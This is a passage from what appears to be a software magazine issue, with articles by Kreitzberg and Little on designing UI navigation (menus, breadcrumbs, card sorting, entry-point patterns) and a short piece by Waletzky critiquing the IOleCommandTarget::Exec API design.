The main menu is a series of tabs, starting with the home page and offering three sections. When you enter a section, a section menu allows you to navigate around the pages in that section. In the content area, or well, I've shown a multistate content control. Section 1 has a tab control and Section 2 has an accordion control.
A design like this can manage a lot of pages. For example, if you had seven main menu sections, and each section had seven pages, and each page had a multistate content control with seven panes, you would effectively be controlling 73 or 343 unique pages. And since each content pane can bring up an unlimited number of pop-ups, you can manage a great deal of cyber real estate. If you needed more pages, you could extend the menus using slide-out and cascading menus.
Where you need to be especially careful is in situations when you find a need to create off-menu navigation. It is frequently tempting to plant a link or button in the content of the page that takes the user somewhere else. I've seen it create problems many times. Whenever possible, keep navigation through the menu and use embedded links or buttons to change the state of a control or create a pop-up.
The navigational model shown in Figure 6 has an implicit hierarchy. You can see that clearly if you diagram the paths.
From the diagram in Figure 7, you can see the horizontal navigation from section to section and the navigation within a section. There are several questions that need to be addressed.
Figure 7 Navigation Between Sections
  1. When you navigate from section to section where do you land? It depends on the flow you are trying to achieve. In most cases the least confusing option would be to land the user on the first page of the section (for example, Page A in the diagram) on the first visit of the session. You might design that page as an entryway to a section (that is a section "home" page). Then I'd retain the state of the sidebar menu so that if the user left the section and returned, he or she would be on the same page.
  2. What if you need to get from (for example) Page B to Page G?
Be really careful because if you break the navigational model you'll end up confusing the user. The first question to ask is why you need to make the jump between two interior pages. If the user needs to get to both sections to complete a task, the design may need adjustment. Splitting a task between two interior pages is awkward and inefficient.
I recently ran into this with a file transfer program that writes both a data file and a log file. Because I was in an environment in which the mapped disk letters changed daily as a result of USB drives being plugged in and out, I needed to reset the disk letters every time I used the program. I had to go to "section A" to set the location of the data file and "section B" to set the location of the log file. It was quite inconvenient and time consuming.
The solution for a situation like this is to place all the disk information on a single page or, if that can't be done, bring up a "shadow copy" of the second disk in a pop-up window so that the user can fill it in without navigating to the second page.
If it's just a matter of convenience, you have to decide if the added complexity is worth the click you're saving the user. That depends on how often the user will need to make the shift. If it's occasional, I'd go with the simpler navigation and extra mouse click. If it's frequent, I'd consider using a drop-down menu of pages in the horizontal menu bar so that the user can get to an interior page in one step. I can't think of circumstances in which I'd simply transport the user from one interior page to another. That works great on Star Trek but tends to be quite disorienting in software.

Create a Frame
The final area I want to focus on is how the visual design can support ease of navigation. First, consider what elements you want for the page frame—the elements that appear consistently from page to page. One of the best ways to keep the user oriented is to have consistent elements in predictable locations. These become visual anchors for the user.
An important element for most frames is a page title. Not only does this help the user associate the page with a name but it facilitates discussions with support personnel.
Consider color coding as well. In the previous example, I used light blue to color code the home section, green for section 1 and orange for section 2. These colors help the users learn which section he or she is in. I would also use shape and texture in the visual design to support color-blind users.

Use Navigational Aids
Two common navigational aids worth including are breadcrumbs and a site map. Just don't rely on them to solve design problems. Many users do not see or understand breadcrumbs. But for those who do, they are a useful aid. On usability guru Jakob Nielsen's Web site, useit.com, he notes that more and more users rely on breadcrumbs. He also makes the point (with which I fully agree) that breadcrumbs should reflect the navigational hierarchy, not the history of page visits.
Site maps can help a user get a sense of the navigational layout, but they are rarely used. Nonetheless, they should be included because they help the user get the needed bird's eye view of the navigation. Just don't expect them to compensate for design problems.

One of the standing jokes in the usability community is that every usability question has the same answer: "it depends." Sadly, that is true of navigation as well. There are few design rules; most are guidelines and heuristics. That's why it's so important to study the users and understand the context of use before designing the UI.
With that caveat in mind, here are some suggested best practices:
  1. Minimize the effort required to understand and make decisions about navigational choices. The less effort it takes to use the UI, the better usability.
  2. Make use of single-screen designs when you can. Use rich, multipane controls, pop-ups, and wizards to enable the user to perform as much of the task as possible without resorting to sideways navigation.
  3. As you create multiple pages, combine them into sections. Make it simple to jump from section to section with a main navigational control and use a secondary control to navigate within the sections. Try not to go deeper if you can avoid it. The simpler the navigation, the more quickly users will achieve proficiency.
  4. Make certain that key elements such as menus, titles, and other information that is displayed on all pages are presented consistently from a visual standpoint. The user should have the sense that some elements of the screen are stable and be able to use them to maintain orientation.
  5. Be very careful with navigational elements that transport users from the interior page of one section to the interior page of another. It can be done, but it's easy to disorient the user.
  6. Use secondary navigation aids such as breadcrumbs and site maps but do not rely on them.
  7. 7.Always think about future expansion. If you expect the product to incorporate new functionality in the future, decide in the beginning how you will expand the navigation to seamlessly incorporate new screens.
Getting navigation right is one of the most important things you can do to ensure the usability of your product. Take the time to get it right, confirm your design with usability testing, and you'll get the results you want.

THE SOFTWARE VIEW
Ambrose Little
Navigation is one of those things most software folks take for granted, and as with most design questions, we tend to just look at what others are doing and follow their lead. We get imperatives from managers—"Make it look like Office" or "Make it look like Amazon.com"—but I think as developers focused on making programs work, we don't spare much time to really think about design.
Some of us are fortunate enough to have actual information architects work with us (or other jack-of-all-trades UX folks). But sometimes we expect graphics designers to handle navigation as part of their design, even though many of them do not have the expertise or background. Thankfully, there are many good resources out there that address the sticky problem of navigation, and I'd like to touch on a few here.

Copying the Big Guys
First of all, it's not always bad to follow what the industry leaders are doing. There's a good chance that they have actually spent a lot of time and resources on the information architecture to get it right, and thus set the tone for what people have come to expect. In a sense, they create conventions and set standards, consequently altering expectations about the way software should work.
That said, as Charlie points out, it is much better to actually understand the people who are using your solution and the elements you are dealing with. These elements include the information and content for a Web site or the objects in your domain. A core part of understanding the people is to understand their goals for interacting with your solution, and if you get that right, it will go a long way toward helping you structure your application correctly.
You can learn a lot from the big guys, but you don't want to blindly follow because their audience may be different. Maybe you have a much smaller audience or maybe your content or products are too dissimilar to theirs. One of the best examples I've seen of this difference is the attempt to mimic the Microsoft Office Ribbon (see Figure 8).
Figure 8 Microsoft Word Ribbon (Part of the Office Fluent UI)
As the latest in the line of Office UI schemes, the Ribbon tends to be mimicked by a lot of developers. The problem is that the Ribbon seems to magnify bad navigation design. If you poorly execute standard menus, tabs, and other controls, you can get away with bad navigation design, but if you mess up the Ribbon, you break the metaphor.
The tabs should be based on user goals and tasks. Thus there's a tab for inserting elements, a tab for page layout, a tab for reviewing a document. Then, within tabs, there are command groups (like Clipboard and Font in Figure 8), which are again user focused and grouped based on related tasks and actions. The Ribbon uses buttons of various sizes based on usage data (the big Paste icon versus smaller Cut and Copy) to help people more easily discover and use the more common functions.
In short, a lot of effort is required to design effective Ribbon-style elements. Therefore, you should not adapt it blindly for your application as a navigation mechanism.
So, before you mimic other applications, you have to decide if their design makes sense in your situation. Do you have the same scale? (Amazon.com and Netflix use recommendations based on lots of user data, which takes a good bit of scale to get right.) Office has tons of commands that benefit from the multilayered organization of the Ribbon, but if you only have a handful of commands, a typical menu is probably better.
Do you have the same kind of content? What works for an e-commerce site like Amazon may not be the right choice for an informational site on the environment. What works for an informational site may not work for an application. As Charlie discussed, when people are trying to complete a task, the informal navigation model common on the Web probably won't be appropriate—you want to help people achieve their goals, not distract or lead them down rabbit holes.
So where does that leave you? Don't despair! Even if you don't have UX experts to consult, there are techniques you can employ to help make your navigation better. One such technique is called card sorting.

Card Sorting
Card sorting is a way to get people, preferably from your target audience, to participate in helping you organize your content (Figure 9 shows an example). It bears some similarities to other stakeholder-involvement techniques, such as class-responsibility-collaboration (CRC) cards (an object-oriented design, or OOD, technique), user stories, and the like, in that it relies on the stakeholders to actively participate in the solution design (and it uses cards). Typically, it is used for organizing information on Web sites, but the techniques can be used to help organize commands within an application.
Figure 9 Example of Card Sorting from Usability.gov/ design/cardsort.html
It is a user-centered rather than solution-centered (or domain-centered) approach, and thus helps uncover design that makes sense to someone who will actually interact with the solution. I won't go into depth on the actual technique. Suffice it to say that it involves users categorizing your material for you. There are many resources freely available online (such as usability.gov/design/cardsort.html), and in fact there are a number of software packages to help with it, such as OptimalSort. But before using software, consider the index card approach. Experts agree that getting real folks together in person and using actual cards will generally produce good results.

UX Design Patterns
Probably one of the best resources in UX design is patterns. It's no surprise that there are a lot of design patterns for navigation, ranging from Breadcrumb, which helps users orient themselves, to Faceted Navigation, which uses facets (metadata) about search results to actively filter them, to Modal Panel, which dives into the familiar modal dialog, and lots of stuff in between. As an example, Figure 10 illustrates a sampling of the Clear Entry Points pattern.

Clear Entry Points
It may not be obvious what people can or should do when starting an application or visiting a site. You need to give people a set of clear entry points into the application or Web site based on their most common tasks or destinations.
Figure 10 Clear Entry Points Primary Example
Without clear entry points, new or infrequent users can feel lost immediately upon opening an application or site. By guiding people with clear entry points, you take the burden to figure out what they can or should do off of them.
This pattern works only if you have or can discover a set of the most common tasks or destinations for a large segment of your target audience. If you can't do this, the pattern actually causes more trouble because it gets in the way and doesn't really guide people to what they want to do.
It's important that most of your users be new or infrequent users because, unless the tasks in question are the only relevant tasks, regular users may find that clear entry points get in the way.
Don't be deceived into thinking that it's obvious what people should do. Many home pages are a smorgasbord of everything the organization behind it has to offer, and people are left confused and not knowing what to do or where to go. Clear entry points eliminate the confusion.

Implementation
The trick to the clear entry points pattern is to successfully identify the top tasks or destinations. If you employed user-centric design, you should have already identified these as the tasks that address the key goals for your users. Use that information to design your clear entry points.
If you didn't follow user-centric design, you need to do some research, probably both internally and externally, to determine users' key tasks and destinations. If your app or site already exists, looking at usage logs is a great help. You can also usually distill key tasks even from functional specs, but you should try to validate those with users or at least business stakeholders to ensure that the tasks you're selecting are in line with the key goals that the application or site serves.
Once you've nailed down your key tasks, you should consider how they need to be presented. If you have more than a handful, you should think about how you might group them visually, but remember, this should not be a replica of your main navigation—it really must represent key tasks.
Display the tasks very clearly and centrally on the starting view of your app or site. Be sure to phrase them in terms of the tasks the user is trying to complete, rather than using branded terminology like tool names or other terminology that users are not familiar with. If you can communicate the task in a few words, that is ideal, but you probably should supplement names with helpful descriptions that make it abundantly clear what people can accomplish by choosing that task or destination.
Make sure you're not creating trap doors through which users are suddenly dropped into the middle of your solution structure. The destination they reach by choosing the task should be clearly connected to the task; this is a good start to a wizard, but it doesn't have to be wizard-based—just make a strong connection between the selected task and the view users reach by selecting the task.
If there are subtasks that people can jump directly into, you can consider having those be revealed when the main task is selected. But remember, this should not be a full menu or navigational scheme.
It's good practice to visually emphasize the most common tasks over the less common ones, automatically drawing users to them. This main entry point view should not be surrounded by the usual navigational structure or ancillary tools/information. Hide those away to keep the focus on the entry points.

If you think about it, you'll see that controls are usually just implementations of patterns, formalized into reusable code. If you've tried to do any Silverlight development, especially Silverlight 1.0 (or heavy-duty desktop UI development), you've probably come to a greater appreciation of what controls do for you. Having to manually draw and handle even the basic interactions of a text box is not exactly easy.
Plus, controls, especially platform controls such as those in the HTML spec, create implicit standard UI pattern conventions. There are many other options for multiple selection, but the HTML SELECT control has become the de facto control for that task on the Web. With rich Internet application (RIA) platforms, the choices are greater, but no doubt that the controls provided in the box will eventually form conventions (which will, of course, be influenced by prior platform control usage). There are many more complex and often useful patterns you can implement with custom controls, or you can take advantage of controls from one of the third-party vendors such as Infragistics.
For navigation, of course, the most common control is the hyperlink, which as Charlie points out, needs to be used wisely and even sparingly in task-oriented applications. There are tab controls that facilitate the grouping of similar items, navigation between the groups, and an implicit way of indicating which stuff a user is looking at (via the currently selected tab). There are fly-out menu controls on both Web and desktop platforms: if you use these, be careful to go no more than three levels deep (preferably two), because it takes a good bit of mouse dexterity to use them (as the user tries desperately to quickly move sideways from one menu to the other), which probably comes as a surprise to techies who live and breathe menus. There are tag cloud controls that facilitate the implementation of that pattern, paging controls that help with that pattern, dialog controls to help with those, and so forth.
Tagging and tag clouds are great ways to create a flexible organization to aid people in finding what they are looking for. They can complement a more formal organizational scheme such as menus. Figure 11 shows an example.
Figure 11 Tag Cloud from Flickr
Just remember—think about the control (pattern) you pick. Don't just use it because it's the easiest or because you are most familiar with it. Consult a pattern catalog to get a better understanding of when to use which patterns, and you can also use the patterns to help guide your choice of which implementation (if there are any) to select.

Testing, Tracking, and Tweaking
No matter what navigational and organizational scheme you devise, it will be wrong—at least in part. Even if it is right for now, it is likely that your needs will change over time. So you need to invest in making a scalable navigation design, as Charlie said, as well as a flexible one.
You don't want to regularly make substantial changes to your navigational structures, but you should fine-tune them based on actual usage data and usability testing. Usability testing is a good option because you can track down problems before releasing the application; just be sure to leave room in the project schedule to do it and to make changes based on the results.
If you have usage data (such as from Web logs or feature-usage tracking), use it to help you understand how people are using the existing design and make changes accordingly. Search logs are especially informative because they can indicate weaknesses in your navigation scheme as users resort to search for navigation. If you're not using Web-based tracking, consider creating a usage-tracking infrastructure so that you will have data to back up and inform future modifications.

Creating good navigation can seem a little overwhelming when you have so much else to worry about as a developer. If you don't have experts at your disposal, you can take matters into your own hands following some of the suggestions we've outlined here.
Navigation is extremely important; it is worth the time and resources you'll invest. You can do it incrementally with the help of patterns, and you can use great, easy-to-read primers like Steve Krug's Don't Make Me Think and Peter Morville's Ambient Findability, among others. The people who have to use your software will be happier for it.

Dr. Charles Kreitzberg is CEO of Cognetics Corporation (www.cognetics.com), which offers usability consulting and user experience design services. His passion is creating intuitive interfaces that engage and delight users while supporting the product's business goals. Charles lives in Central New Jersey where he moonlights as a performing musician.

Ambrose Little lives with his wife and four children in central New Jersey. He's been designing and developing software for more than 10 years and is honored to be an INETA speaker and Microsoft MVP. Lately, he's shifted from technical design to designing for people and is now a user experience designer for Infragistics.


{ End Bracket }
Perfect API Design
James Waletzky
﻿Why is good Application Programming Interface (API) design so difficult? Just throw together a few classes with a few basic methods on them and call it done.
You could do this, if you don't mind other developers cursing you—and referencing your API as an anti-pattern. How can this be avoided? Aim for perfection with API design. Yes, perfection.
Designing an API is similar to designing a user interface. Both are entry points into an application and the first thing a user (or developer) interacts with. Picture your favorite consumer electronics device in conjunction with its competitors. Mine is my beloved TiVo digital video recorder. What makes the TiVo UI great?﻿
  • Usage is simple
  • Misuse is difficult
  • TiVo does one thing well
  • It does not do anything unexpected
  • It has never crashed in multiple years of usage
  • Actions/tasks are intuitive and easy to discover
  • The UI is consistent, polished and perfect, or close to it
The same principles hold true with API design. Let's pick on one of my favorite API anti-patterns from the COM world: IOleCommandTarget::Exec. This API is typically used to enable some kind of object, and the container that it sits in, to dispatch commands to each other.
An example implementation is a COM control that communicates with its container to modify menu items and toolbars. This API is a slightly stronger-typed version of a command interface that takes in a generic string dictating what the implementation is supposed to do.
Here is the IOleCommandTarget::Exec API signature:
HRESULT Exec(
  const GUID *pguidCmdGroup,  // Pointer to command group
  DWORD nCmdID,               // Identifier of command to execute
  DWORD nCmdExecOpt,          // Options for executing the command
  VARIANTARG *pvaIn,          // Pointer to input arguments
  VARIANTARG *pvaOut          // Pointer to command output
);
Let's analyze this API according to the principles just discussed.
Is the API Intuitive and Discoverable? Is this the first place a developer would look to modify a toolbar? Likely it's not, unless you have the tribal knowledge about this API. Even a search of MSDN documentation would end in frustration.
Is It Simple? The API takes five parameters that are generically named. Documentation is required to thoroughly understand the usage of each parameter. A simple API exhibits intention and clarity just by the name of the object (for context) and the name of the method.
Is the API Strongly Typed and Difficult to Misuse? No. The variants are not strongly typed and the execution options are not enumerations, but generic DWORDs. Strongly typed parameters help find errors at compile time instead of at run time.
Is the API Cohesive? An implementation of this function typically has many responsibilities, not just one. A well-named API for one specific purpose (e.g., AddToolbarButton) is much more cohesive. An implementation of the Exec method likely switches on the command ID and has different actions based on this condition.
Is the API Free of Side Effects? Hard to say, but an implementation of the API could do practically anything due to its lack of cohesion.
Is It Reliable? The famous design principle "design to interfaces" helps enforce testability on an object. This API is inherently testable, but the number of test cases to verify may be huge due to its lack of cohesion. Reliability is at risk.
Is It Consistent? This API does have some consistency in that it returns an HRESULT and uses GUIDs to identify sets of information. However, it is difficult to judge consistency without knowing how poorly designed the rest of the interfaces on an object are.
Anyone learning to use IOleCommandTarget::Exec likely needs instruction about its usage from a peer or a book. The best APIs are simple and usable without documentation, although documentation may still be required to understand details such as error handling.
In conclusion, your APIs and the APIs you review should be as easy to use as TiVo. A highly discoverable, strongly typed, cohesive, side-effect free, reliable, consistent, and polished API makes your developers' lives easier by increasing satisfaction and decreasing support costs. Many interfaces in the Microsoft .NET Framework are great examples. To achieve all of these design gains, aim for perfection when designing or reviewing any API design.

James Waletzky is Senior Development Lead in the Consumer Internet and Developer Experience team in Windows Mobile. In addition to leading a product development team, James is passionate about improving engineering practices at Microsoft.